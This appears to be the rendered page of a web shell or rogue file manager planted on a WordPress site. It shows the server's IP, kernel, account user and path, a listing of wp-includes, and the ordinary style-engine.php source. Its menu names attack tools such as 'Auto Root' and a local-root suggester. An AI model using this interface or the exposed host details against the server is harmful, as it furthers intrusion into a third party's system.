Linux ih01.iridiumhosting.com 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 08:09:09 EST 2025 x86_64
LiteSpeed
Server IP : 67.227.241.211 & Your IP : 216.73.216.226
Domains :
Cant Read [ /etc/named.conf ]
User : dustinhy
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
dustinhy /
wdindy.com /
wp-includes /
Delete
Unzip
Name
Size
Permission
Date
Action
ID3
[ DIR ]
drwxr-xr-x
2024-04-03 08:56
IXR
[ DIR ]
drwxr-xr-x
2021-09-09 02:20
PHPMailer
[ DIR ]
drwxr-xr-x
2025-12-04 09:12
Requests
[ DIR ]
drwxr-xr-x
2023-03-30 03:36
SimplePie
[ DIR ]
drwxr-xr-x
2024-11-13 20:52
Text
[ DIR ]
drwxr-xr-x
2024-11-13 20:52
abilities-api
[ DIR ]
drwxr-xr-x
2025-12-03 10:56
ai-client
[ DIR ]
drwxr-xr-x
2026-05-21 09:54
assets
[ DIR ]
drwxr-xr-x
2026-05-21 09:54
block-bindings
[ DIR ]
drwxr-xr-x
2025-12-03 10:56
block-patterns
[ DIR ]
drwxr-xr-x
2026-05-21 09:54
block-supports
[ DIR ]
drwxr-xr-x
2026-05-21 09:54
blocks
[ DIR ]
drwxr-xr-x
2026-05-21 09:54
build
[ DIR ]
drwxr-xr-x
2026-05-21 09:54
certificates
[ DIR ]
drwxr-xr-x
2021-09-09 02:20
collaboration
[ DIR ]
drwxr-xr-x
2026-05-21 09:54
css
[ DIR ]
drwxr-xr-x
2026-05-21 09:54
customize
[ DIR ]
drwxr-xr-x
2021-09-09 02:20
fonts
[ DIR ]
drwxr-xr-x
2024-04-03 08:56
html-api
[ DIR ]
drwxr-xr-x
2024-11-13 20:52
images
[ DIR ]
drwxr-xr-x
2026-05-21 09:54
interactivity-api
[ DIR ]
drwxr-xr-x
2024-04-03 08:56
js
[ DIR ]
drwxr-xr-x
2025-12-03 10:56
l10n
[ DIR ]
drwxr-xr-x
2024-04-03 08:56
php-ai-client
[ DIR ]
drwxr-xr-x
2026-05-21 09:54
php-compat
[ DIR ]
drwxr-xr-x
2022-01-26 03:40
pomo
[ DIR ]
drwxr-xr-x
2021-09-09 02:20
rest-api
[ DIR ]
drwxr-xr-x
2021-09-09 02:20
sitemaps
[ DIR ]
drwxr-xr-x
2021-09-09 02:20
sodium_compat
[ DIR ]
drwxr-xr-x
2021-09-09 02:20
style-engine
[ DIR ]
drwxr-xr-x
2022-11-02 05:06
theme-compat
[ DIR ]
drwxr-xr-x
2025-05-26 20:39
widgets
[ DIR ]
drwxr-xr-x
2024-07-19 11:58
abilities-api.php
23.8
KB
-rw-r--r--
2025-12-03 10:56
abilities.php
7.82
KB
-rw-r--r--
2026-05-21 09:54
admin-bar.php
38.39
KB
-rw-r--r--
2026-05-21 09:54
ai-client.php
2.49
KB
-rw-r--r--
2026-05-21 09:54
atomlib.php
11.9
KB
-rw-r--r--
2025-12-03 10:56
author-template.php
19.38
KB
-rw-r--r--
2026-05-21 09:54
block-bindings.php
7.35
KB
-rw-r--r--
2025-12-03 10:56
block-editor.php
28.05
KB
-rw-r--r--
2026-05-21 09:54
block-i18n.json
316
B
-rw-r--r--
2022-01-26 03:40
block-patterns.php
15.24
KB
-rw-r--r--
2026-05-21 09:54
block-template-utils.php
61.33
KB
-rw-r--r--
2026-05-21 09:54
block-template.php
17.83
KB
-rw-r--r--
2026-05-21 09:54
blocks.php
116.64
KB
-rw-r--r--
2026-05-21 09:54
bookmark-template.php
12.47
KB
-rw-r--r--
2025-04-16 10:02
bookmark.php
15.07
KB
-rw-r--r--
2024-07-17 03:37
cache-compat.php
10.76
KB
-rw-r--r--
2026-05-21 09:54
cache.php
13.17
KB
-rw-r--r--
2025-12-03 10:56
canonical.php
33.83
KB
-rw-r--r--
2025-12-03 10:56
capabilities.php
42.61
KB
-rw-r--r--
2026-05-21 09:54
category-template.php
55.65
KB
-rw-r--r--
2026-05-21 09:54
category.php
12.53
KB
-rw-r--r--
2026-05-21 09:54
class-IXR.php
2.55
KB
-rw-r--r--
2025-04-16 10:02
class-avif-info.php
29.3
KB
-rw-r--r--
2026-05-21 09:54
class-feed.php
539
B
-rw-r--r--
2024-11-13 20:52
class-http.php
367
B
-rw-r--r--
2022-11-02 05:06
class-json.php
42.65
KB
-rw-r--r--
2025-12-03 10:56
class-oembed.php
401
B
-rw-r--r--
2022-11-02 05:06
class-phpass.php
6.61
KB
-rw-r--r--
2024-11-13 20:52
class-phpmailer.php
664
B
-rw-r--r--
2020-07-21 12:58
class-pop3.php
20.63
KB
-rw-r--r--
2025-04-16 10:02
class-requests.php
2.18
KB
-rw-r--r--
2023-08-09 03:49
class-simplepie.php
453
B
-rw-r--r--
2024-11-13 20:52
class-smtp.php
457
B
-rw-r--r--
2021-01-26 13:45
class-snoopy.php
36.83
KB
-rw-r--r--
2023-03-30 03:36
class-walker-category-dropdown.php
2.41
KB
-rw-r--r--
2023-11-08 15:36
class-walker-category.php
8.28
KB
-rw-r--r--
2023-11-08 15:36
class-walker-comment.php
13.89
KB
-rw-r--r--
2024-07-17 03:37
class-walker-nav-menu.php
11.76
KB
-rw-r--r--
2025-04-16 10:02
class-walker-page-dropdown.php
2.65
KB
-rw-r--r--
2023-11-08 15:36
class-walker-page.php
7.43
KB
-rw-r--r--
2023-11-08 15:36
class-wp-admin-bar.php
17.58
KB
-rw-r--r--
2026-05-21 09:54
class-wp-ajax-response.php
5.14
KB
-rw-r--r--
2022-11-02 05:06
class-wp-application-passwords.php
16.7
KB
-rw-r--r--
2025-04-16 10:02
class-wp-block-bindings-registry.php
8.07
KB
-rw-r--r--
2026-05-21 09:54
class-wp-block-bindings-source.php
2.92
KB
-rw-r--r--
2024-11-13 20:52
class-wp-block-editor-context.php
1.32
KB
-rw-r--r--
2022-11-02 05:06
class-wp-block-list.php
4.6
KB
-rw-r--r--
2025-12-03 10:56
class-wp-block-metadata-registry.php
11.57
KB
-rw-r--r--
2026-05-21 09:54
class-wp-block-parser-block.php
2.5
KB
-rw-r--r--
2025-12-03 10:56
class-wp-block-parser-frame.php
1.95
KB
-rw-r--r--
2026-05-21 09:54
class-wp-block-parser.php
11.25
KB
-rw-r--r--
2026-05-21 09:54
class-wp-block-pattern-categories-registry.php
4.28
KB
-rw-r--r--
2026-05-21 09:54
class-wp-block-patterns-registry.php
10.07
KB
-rw-r--r--
2026-05-21 09:54
class-wp-block-processor.php
68.32
KB
-rw-r--r--
2026-02-04 10:58
class-wp-block-styles-registry.php
6.27
KB
-rw-r--r--
2026-05-21 09:54
class-wp-block-supports.php
6.4
KB
-rw-r--r--
2026-05-21 09:54
class-wp-block-template.php
1.99
KB
-rw-r--r--
2024-11-13 20:52
class-wp-block-templates-registry.php
6.91
KB
-rw-r--r--
2026-05-21 09:54
class-wp-block-type-registry.php
4.91
KB
-rw-r--r--
2025-12-03 10:56
class-wp-block-type.php
16.83
KB
-rw-r--r--
2026-05-21 09:54
class-wp-block.php
24.14
KB
-rw-r--r--
2026-05-21 09:54
class-wp-classic-to-block-menu-converter.php
3.93
KB
-rw-r--r--
2026-05-21 09:54
class-wp-comment-query.php
47.49
KB
-rw-r--r--
2026-05-21 09:54
class-wp-comment.php
9.15
KB
-rw-r--r--
2026-05-21 09:54
class-wp-connector-registry.php
14.07
KB
-rw-r--r--
2026-05-21 09:54
class-wp-customize-control.php
25.51
KB
-rw-r--r--
2025-12-03 10:56
class-wp-customize-manager.php
198.13
KB
-rw-r--r--
2026-05-21 09:54
class-wp-customize-nav-menus.php
56.61
KB
-rw-r--r--
2026-05-21 09:54
class-wp-customize-panel.php
10.46
KB
-rw-r--r--
2025-04-16 10:02
class-wp-customize-section.php
10.95
KB
-rw-r--r--
2024-11-13 20:52
class-wp-customize-setting.php
29.26
KB
-rw-r--r--
2026-05-21 09:54
class-wp-customize-widgets.php
70.89
KB
-rw-r--r--
2026-05-21 09:54
class-wp-date-query.php
35.13
KB
-rw-r--r--
2026-05-21 09:54
class-wp-dependencies.php
16.69
KB
-rw-r--r--
2026-05-21 09:54
class-wp-dependency.php
2.59
KB
-rw-r--r--
2026-05-21 09:54
class-wp-duotone.php
39.95
KB
-rw-r--r--
2026-05-21 09:54
class-wp-editor.php
70.54
KB
-rw-r--r--
2026-05-21 09:54
class-wp-embed.php
15.54
KB
-rw-r--r--
2026-05-21 09:54
class-wp-error.php
7.33
KB
-rw-r--r--
2023-03-30 03:36
class-wp-exception.php
253
B
-rw-r--r--
2024-11-13 20:52
class-wp-fatal-error-handler.php
7.96
KB
-rw-r--r--
2024-11-13 20:52
class-wp-feed-cache-transient.php
3.23
KB
-rw-r--r--
2025-12-03 10:56
class-wp-feed-cache.php
969
B
-rw-r--r--
2024-11-13 20:52
class-wp-hook.php
16.25
KB
-rw-r--r--
2026-05-21 09:54
class-wp-http-cookie.php
7.1
KB
-rw-r--r--
2026-05-21 09:54
class-wp-http-curl.php
12.95
KB
-rw-r--r--
2025-12-03 10:56
class-wp-http-encoding.php
6.53
KB
-rw-r--r--
2023-08-09 03:49
class-wp-http-ixr-client.php
3.43
KB
-rw-r--r--
2026-05-21 09:54
class-wp-http-proxy.php
5.84
KB
-rw-r--r--
2023-08-09 03:49
class-wp-http-requests-hooks.php
1.97
KB
-rw-r--r--
2023-03-30 03:36
class-wp-http-requests-response.php
4.14
KB
-rw-r--r--
2026-05-21 09:54
class-wp-http-response.php
2.91
KB
-rw-r--r--
2022-11-02 05:06
class-wp-http-streams.php
16.37
KB
-rw-r--r--
2026-05-21 09:54
class-wp-http.php
40.67
KB
-rw-r--r--
2026-05-21 09:54
class-wp-icons-registry.php
7.67
KB
-rw-r--r--
2026-05-21 09:54
class-wp-image-editor-gd.php
20.22
KB
-rw-r--r--
2025-12-03 10:56
class-wp-image-editor-imagick.php
36.11
KB
-rw-r--r--
2025-12-03 10:56
class-wp-image-editor.php
17.01
KB
-rw-r--r--
2026-05-21 09:54
class-wp-list-util.php
7.27
KB
-rw-r--r--
2023-11-08 15:36
class-wp-locale-switcher.php
6.62
KB
-rw-r--r--
2025-12-03 10:56
class-wp-locale.php
16.45
KB
-rw-r--r--
2026-05-21 09:54
class-wp-matchesmapregex.php
1.79
KB
-rw-r--r--
2024-04-03 08:56
class-wp-meta-query.php
29.79
KB
-rw-r--r--
2026-05-21 09:54
class-wp-metadata-lazyloader.php
6.67
KB
-rw-r--r--
2023-08-09 03:49
class-wp-navigation-fallback.php
8.98
KB
-rw-r--r--
2025-12-03 10:56
class-wp-network-query.php
19.25
KB
-rw-r--r--
2026-05-21 09:54
class-wp-network.php
12.01
KB
-rw-r--r--
2024-11-13 20:52
class-wp-object-cache.php
17.11
KB
-rw-r--r--
2025-12-03 10:56
class-wp-oembed-controller.php
6.74
KB
-rw-r--r--
2024-07-17 03:37
class-wp-oembed.php
30.86
KB
-rw-r--r--
2026-05-21 09:54
class-wp-paused-extensions-storage.php
4.95
KB
-rw-r--r--
2026-05-21 09:54
class-wp-phpmailer.php
4.25
KB
-rw-r--r--
2025-12-03 10:56
class-wp-plugin-dependencies.php
24.59
KB
-rw-r--r--
2026-05-21 09:54
class-wp-post-type.php
29.95
KB
-rw-r--r--
2026-05-21 09:54
class-wp-post.php
6.33
KB
-rw-r--r--
2026-05-21 09:54
class-wp-query.php
159.5
KB
-rw-r--r--
2026-05-21 09:54
class-wp-recovery-mode-cookie-service.php
6.72
KB
-rw-r--r--
2022-11-02 05:06
class-wp-recovery-mode-email-service.php
10.9
KB
-rw-r--r--
2026-05-21 09:54
class-wp-recovery-mode-key-service.php
4.8
KB
-rw-r--r--
2026-05-21 09:54
class-wp-recovery-mode-link-service.php
3.44
KB
-rw-r--r--
2026-05-21 09:54
class-wp-recovery-mode.php
11.18
KB
-rw-r--r--
2025-04-16 10:02
class-wp-rewrite.php
62.2
KB
-rw-r--r--
2026-05-21 09:54
class-wp-role.php
2.46
KB
-rw-r--r--
2023-11-08 15:36
class-wp-roles.php
9.1
KB
-rw-r--r--
2026-05-21 09:54
class-wp-script-modules.php
39.65
KB
-rw-r--r--
2026-05-21 09:54
class-wp-scripts.php
35.93
KB
-rw-r--r--
2026-05-21 09:54
class-wp-session-tokens.php
7.15
KB
-rw-r--r--
2025-04-16 10:02
class-wp-simplepie-file.php
3.47
KB
-rw-r--r--
2025-12-03 10:56
class-wp-simplepie-sanitize-kses.php
1.87
KB
-rw-r--r--
2025-04-16 10:02
class-wp-site-query.php
30.74
KB
-rw-r--r--
2026-05-21 09:54
class-wp-site.php
7.28
KB
-rw-r--r--
2026-05-21 09:54
class-wp-speculation-rules.php
7.38
KB
-rw-r--r--
2026-05-21 09:54
class-wp-styles.php
13.04
KB
-rw-r--r--
2026-05-21 09:54
class-wp-tax-query.php
19.12
KB
-rw-r--r--
2025-12-03 10:56
class-wp-taxonomy.php
18.12
KB
-rw-r--r--
2025-04-16 10:02
class-wp-term-query.php
39.8
KB
-rw-r--r--
2026-05-21 09:54
class-wp-term.php
5.14
KB
-rw-r--r--
2026-05-21 09:54
class-wp-text-diff-renderer-inline.php
979
B
-rw-r--r--
2024-04-03 08:56
class-wp-text-diff-renderer-table.php
18.49
KB
-rw-r--r--
2026-05-21 09:54
class-wp-textdomain-registry.php
10.24
KB
-rw-r--r--
2024-11-21 15:49
class-wp-theme-json-data.php
1.77
KB
-rw-r--r--
2024-07-17 03:37
class-wp-theme-json-resolver.php
34.86
KB
-rw-r--r--
2026-05-21 09:54
class-wp-theme-json-schema.php
7.19
KB
-rw-r--r--
2024-07-17 03:37
class-wp-theme-json.php
169.57
KB
-rw-r--r--
2026-05-21 09:54
class-wp-theme.php
64.22
KB
-rw-r--r--
2026-05-21 09:54
class-wp-token-map.php
27.95
KB
-rw-r--r--
2024-11-13 20:52
class-wp-url-pattern-prefixer.php
4.69
KB
-rw-r--r--
2025-04-16 10:02
class-wp-user-meta-session-tokens.php
2.88
KB
-rw-r--r--
2026-05-21 09:54
class-wp-user-query.php
43.07
KB
-rw-r--r--
2026-05-21 09:54
class-wp-user-request.php
2.25
KB
-rw-r--r--
2025-04-16 10:02
class-wp-user.php
22.48
KB
-rw-r--r--
2026-05-21 09:54
class-wp-walker.php
13.01
KB
-rw-r--r--
2024-09-11 03:37
class-wp-widget-factory.php
3.27
KB
-rw-r--r--
2022-11-02 05:06
class-wp-widget.php
17.99
KB
-rw-r--r--
2026-05-21 09:54
class-wp-xmlrpc-server.php
209.98
KB
-rw-r--r--
2026-05-21 09:54
class-wp.php
25.75
KB
-rw-r--r--
2026-05-21 09:54
class-wpdb.php
115.86
KB
-rw-r--r--
2026-05-21 09:54
class.wp-dependencies.php
373
B
-rw-r--r--
2022-11-02 05:06
class.wp-scripts.php
343
B
-rw-r--r--
2022-11-02 05:06
class.wp-styles.php
338
B
-rw-r--r--
2022-11-02 05:06
collaboration.php
2.11
KB
-rw-r--r--
2026-05-21 09:54
comment-template.php
100.79
KB
-rw-r--r--
2026-05-21 09:54
comment.php
130.94
KB
-rw-r--r--
2026-05-21 09:54
compat-utf8.php
19.1
KB
-rw-r--r--
2025-12-03 10:56
compat.php
15.69
KB
-rw-r--r--
2026-05-21 09:54
connectors.php
23.52
KB
-rw-r--r--
2026-05-21 09:54
cron.php
43.94
KB
-rw-r--r--
2026-05-21 09:54
date.php
400
B
-rw-r--r--
2022-11-02 05:06
default-constants.php
11.1
KB
-rw-r--r--
2024-11-13 20:52
default-filters.php
36.54
KB
-rw-r--r--
2026-05-21 09:54
default-widgets.php
2.24
KB
-rw-r--r--
2025-04-16 10:02
deprecated.php
189.43
KB
-rw-r--r--
2026-05-21 09:54
embed-template.php
338
B
-rw-r--r--
2022-11-02 05:06
embed.php
37.9
KB
-rw-r--r--
2026-07-10 09:52
error-protection.php
4
KB
-rw-r--r--
2026-05-21 09:54
error_log
569.61
KB
-rw-r--r--
2025-12-26 13:00
feed-atom-comments.php
5.38
KB
-rw-r--r--
2024-04-03 08:56
feed-atom.php
3.05
KB
-rw-r--r--
2025-04-16 10:02
feed-rdf.php
2.61
KB
-rw-r--r--
2020-01-29 00:45
feed-rss.php
1.16
KB
-rw-r--r--
2020-01-29 00:45
feed-rss2-comments.php
4.04
KB
-rw-r--r--
2024-04-03 08:56
feed-rss2.php
3.71
KB
-rw-r--r--
2020-01-29 00:45
feed.php
24.6
KB
-rw-r--r--
2026-02-04 10:58
fonts.php
9.56
KB
-rw-r--r--
2026-05-21 09:54
formatting.php
346.6
KB
-rw-r--r--
2026-07-10 09:52
functions.php
283.52
KB
-rw-r--r--
2026-05-21 09:54
functions.wp-scripts.php
20.01
KB
-rw-r--r--
2026-05-21 09:54
functions.wp-styles.php
8.45
KB
-rw-r--r--
2026-05-21 09:54
general-template.php
170.83
KB
-rw-r--r--
2026-05-21 09:54
global-styles-and-settings.php
20.29
KB
-rw-r--r--
2026-05-21 09:54
http.php
26.62
KB
-rw-r--r--
2026-05-21 09:54
https-detection.php
5.72
KB
-rw-r--r--
2025-04-16 10:02
https-migration.php
4.63
KB
-rw-r--r--
2023-08-09 03:49
kses.php
81.03
KB
-rw-r--r--
2026-07-10 09:52
l10n.php
69.74
KB
-rw-r--r--
2026-05-21 09:54
link-template.php
156.39
KB
-rw-r--r--
2026-05-21 09:54
load.php
55.15
KB
-rw-r--r--
2026-05-21 09:54
locale.php
162
B
-rw-r--r--
2019-10-08 17:19
media-template.php
61.79
KB
-rw-r--r--
2026-05-21 09:54
media.php
219.66
KB
-rw-r--r--
2026-07-10 09:52
meta.php
65.17
KB
-rw-r--r--
2026-05-21 09:54
ms-blogs.php
25.71
KB
-rw-r--r--
2026-05-21 09:54
ms-default-constants.php
4.81
KB
-rw-r--r--
2024-07-17 03:37
ms-default-filters.php
6.48
KB
-rw-r--r--
2023-03-30 03:36
ms-deprecated.php
21.24
KB
-rw-r--r--
2026-05-21 09:54
ms-files.php
2.79
KB
-rw-r--r--
2025-12-03 10:56
ms-functions.php
89.69
KB
-rw-r--r--
2025-12-03 10:56
ms-load.php
19.57
KB
-rw-r--r--
2026-05-21 09:54
ms-network.php
3.69
KB
-rw-r--r--
2023-08-09 03:49
ms-settings.php
4.11
KB
-rw-r--r--
2025-12-03 10:56
ms-site.php
40.75
KB
-rw-r--r--
2026-05-21 09:54
nav-menu-template.php
25.38
KB
-rw-r--r--
2025-04-16 10:02
nav-menu.php
43.23
KB
-rw-r--r--
2026-05-21 09:54
option.php
102.62
KB
-rw-r--r--
2026-05-21 09:54
pluggable-deprecated.php
6.18
KB
-rw-r--r--
2025-04-16 10:02
pluggable.php
124.57
KB
-rw-r--r--
2026-05-21 09:54
plugin.php
35.65
KB
-rw-r--r--
2025-12-03 10:56
post-formats.php
6.9
KB
-rw-r--r--
2026-05-21 09:54
post-template.php
67.01
KB
-rw-r--r--
2026-05-21 09:54
post-thumbnail-template.php
10.62
KB
-rw-r--r--
2025-04-16 10:02
post.php
289.58
KB
-rw-r--r--
2026-05-21 09:54
query.php
36.23
KB
-rw-r--r--
2025-12-03 10:56
registration-functions.php
200
B
-rw-r--r--
2020-11-12 11:17
registration.php
200
B
-rw-r--r--
2020-11-12 11:17
rest-api.php
98.52
KB
-rw-r--r--
2026-05-21 09:54
revision.php
29.99
KB
-rw-r--r--
2026-05-21 09:54
rewrite.php
19
KB
-rw-r--r--
2026-05-21 09:54
robots-template.php
5.06
KB
-rw-r--r--
2022-05-25 03:40
rss-functions.php
255
B
-rw-r--r--
2020-11-16 22:52
rss.php
22.66
KB
-rw-r--r--
2025-12-03 10:56
script-loader.php
159.3
KB
-rw-r--r--
2026-05-21 09:54
script-modules.php
11.66
KB
-rw-r--r--
2026-05-21 09:54
session.php
258
B
-rw-r--r--
2020-02-06 06:33
shortcodes.php
23.47
KB
-rw-r--r--
2026-05-21 09:54
sitemaps.php
3.16
KB
-rw-r--r--
2021-05-15 17:38
speculative-loading.php
8.4
KB
-rw-r--r--
2025-12-03 10:56
spl-autoload-compat.php
441
B
-rw-r--r--
2020-11-12 11:17
style-engine.php
7.39
KB
-rw-r--r--
2024-07-17 03:37
taxonomy.php
172.99
KB
-rw-r--r--
2026-05-21 09:54
template-canvas.php
544
B
-rw-r--r--
2023-11-08 15:36
template-loader.php
4.17
KB
-rw-r--r--
2026-03-11 09:59
template.php
35.96
KB
-rw-r--r--
2026-05-21 09:54
theme-i18n.json
1.85
KB
-rw-r--r--
2026-05-21 09:54
theme-previews.php
2.82
KB
-rw-r--r--
2026-05-21 09:54
theme-templates.php
3.96
KB
-rw-r--r--
2026-05-21 09:54
theme.json
8.83
KB
-rw-r--r--
2026-05-21 09:54
theme.php
131.48
KB
-rw-r--r--
2026-05-21 09:54
update.php
37.38
KB
-rw-r--r--
2026-05-21 09:54
user.php
174.63
KB
-rw-r--r--
2026-05-21 09:54
utf8.php
7.09
KB
-rw-r--r--
2025-12-03 10:56
vars.php
6.45
KB
-rw-r--r--
2026-05-21 09:54
version.php
1.08
KB
-rw-r--r--
2026-07-10 09:52
view-transitions.php
602
B
-rw-r--r--
2026-05-21 09:54
widgets.php
69.17
KB
-rw-r--r--
2026-05-21 09:54
wp-db.php
445
B
-rw-r--r--
2022-11-02 05:06
wp-diff.php
799
B
-rw-r--r--
2025-04-16 10:02
Save
Rename
<?php /** * Style engine: Public functions * * This file contains a variety of public functions developers can use to interact with * the Style Engine API. * * @package WordPress * @subpackage StyleEngine * @since 6.1.0 */ /** * Global public interface method to generate styles from a single style object, * e.g. the value of a block's attributes.style object or the top level styles in theme.json. * * Example usage: * * $styles = wp_style_engine_get_styles( * array( * 'color' => array( 'text' => '#cccccc' ), * ) * ); * * Returns: * * array( * 'css' => 'color: #cccccc', * 'declarations' => array( 'color' => '#cccccc' ), * 'classnames' => 'has-color', * ) * * @since 6.1.0 * * @see https://developer.wordpress.org/block-editor/reference-guides/theme-json-reference/theme-json-living/#styles * @see https://developer.wordpress.org/block-editor/reference-guides/block-api/block-supports/ * * @param array $block_styles The style object. * @param array $options { * Optional. An array of options. Default empty array. * * @type string|null $context An identifier describing the origin of the style object, * e.g. 'block-supports' or 'global-styles'. Default null. * When set, the style engine will attempt to store the CSS rules, * where a selector is also passed. * @type bool $convert_vars_to_classnames Whether to skip converting incoming CSS var patterns, * e.g. `var:preset|<PRESET_TYPE>|<PRESET_SLUG>`, * to `var( --wp--preset--* )` values. Default false. * @type string $selector Optional. When a selector is passed, * the value of `$css` in the return value will comprise * a full CSS rule `$selector { ...$css_declarations }`, * otherwise, the value will be a concatenated string * of CSS declarations. * } * @return array { * @type string $css A CSS ruleset or declarations block * formatted to be placed in an HTML `style` attribute or tag. * @type string[] $declarations An associative array of CSS definitions, * e.g. `array( "$property" => "$value", "$property" => "$value" )`. * @type string $classnames Classnames separated by a space. * } */ function wp_style_engine_get_styles( $block_styles, $options = array() ) { $options = wp_parse_args( $options, array( 'selector' => null, 'context' => null, 'convert_vars_to_classnames' => false, ) ); $parsed_styles = WP_Style_Engine::parse_block_styles( $block_styles, $options ); // Output. $styles_output = array(); if ( ! empty( $parsed_styles['declarations'] ) ) { $styles_output['css'] = WP_Style_Engine::compile_css( $parsed_styles['declarations'], $options['selector'] ); $styles_output['declarations'] = $parsed_styles['declarations']; if ( ! empty( $options['context'] ) ) { WP_Style_Engine::store_css_rule( $options['context'], $options['selector'], $parsed_styles['declarations'] ); } } if ( ! empty( $parsed_styles['classnames'] ) ) { $styles_output['classnames'] = implode( ' ', array_unique( $parsed_styles['classnames'] ) ); } return array_filter( $styles_output ); } /** * Returns compiled CSS from a collection of selectors and declarations. * Useful for returning a compiled stylesheet from any collection of CSS selector + declarations. * * Example usage: * * $css_rules = array( * array( * 'selector' => '.elephant-are-cool', * 'declarations' => array( * 'color' => 'gray', * 'width' => '3em', * ), * ), * ); * * $css = wp_style_engine_get_stylesheet_from_css_rules( $css_rules ); * * Returns: * * .elephant-are-cool{color:gray;width:3em} * * @since 6.1.0 * @since 6.6.0 Added support for `$rules_group` in the `$css_rules` array. * * @param array $css_rules { * Required. A collection of CSS rules. * * @type array ...$0 { * @type string $rules_group A parent CSS selector in the case of nested CSS, * or a CSS nested @rule, such as `@media (min-width: 80rem)` or `@layer module`. * @type string $selector A CSS selector. * @type string[] $declarations An associative array of CSS definitions, * e.g. `array( "$property" => "$value", "$property" => "$value" )`. * } * } * @param array $options { * Optional. An array of options. Default empty array. * * @type string|null $context An identifier describing the origin of the style object, * e.g. 'block-supports' or 'global-styles'. Default 'block-supports'. * When set, the style engine will attempt to store the CSS rules. * @type bool $optimize Whether to optimize the CSS output, e.g. combine rules. * Default false. * @type bool $prettify Whether to add new lines and indents to output. * Defaults to whether the `SCRIPT_DEBUG` constant is defined. * } * @return string A string of compiled CSS declarations, or empty string. */ function wp_style_engine_get_stylesheet_from_css_rules( $css_rules, $options = array() ) { if ( empty( $css_rules ) ) { return ''; } $options = wp_parse_args( $options, array( 'context' => null, ) ); $css_rule_objects = array(); foreach ( $css_rules as $css_rule ) { if ( empty( $css_rule['selector'] ) || empty( $css_rule['declarations'] ) || ! is_array( $css_rule['declarations'] ) ) { continue; } $rules_group = $css_rule['rules_group'] ?? null; if ( ! empty( $options['context'] ) ) { WP_Style_Engine::store_css_rule( $options['context'], $css_rule['selector'], $css_rule['declarations'], $rules_group ); } $css_rule_objects[] = new WP_Style_Engine_CSS_Rule( $css_rule['selector'], $css_rule['declarations'], $rules_group ); } if ( empty( $css_rule_objects ) ) { return ''; } return WP_Style_Engine::compile_stylesheet_from_css_rules( $css_rule_objects, $options ); } /** * Returns compiled CSS from a store, if found. * * @since 6.1.0 * * @param string $context A valid context name, corresponding to an existing store key. * @param array $options { * Optional. An array of options. Default empty array. * * @type bool $optimize Whether to optimize the CSS output, e.g. combine rules. * Default false. * @type bool $prettify Whether to add new lines and indents to output. * Defaults to whether the `SCRIPT_DEBUG` constant is defined. * } * @return string A compiled CSS string. */ function wp_style_engine_get_stylesheet_from_context( $context, $options = array() ) { return WP_Style_Engine::compile_stylesheet_from_css_rules( WP_Style_Engine::get_store( $context )->get_all_rules(), $options ); }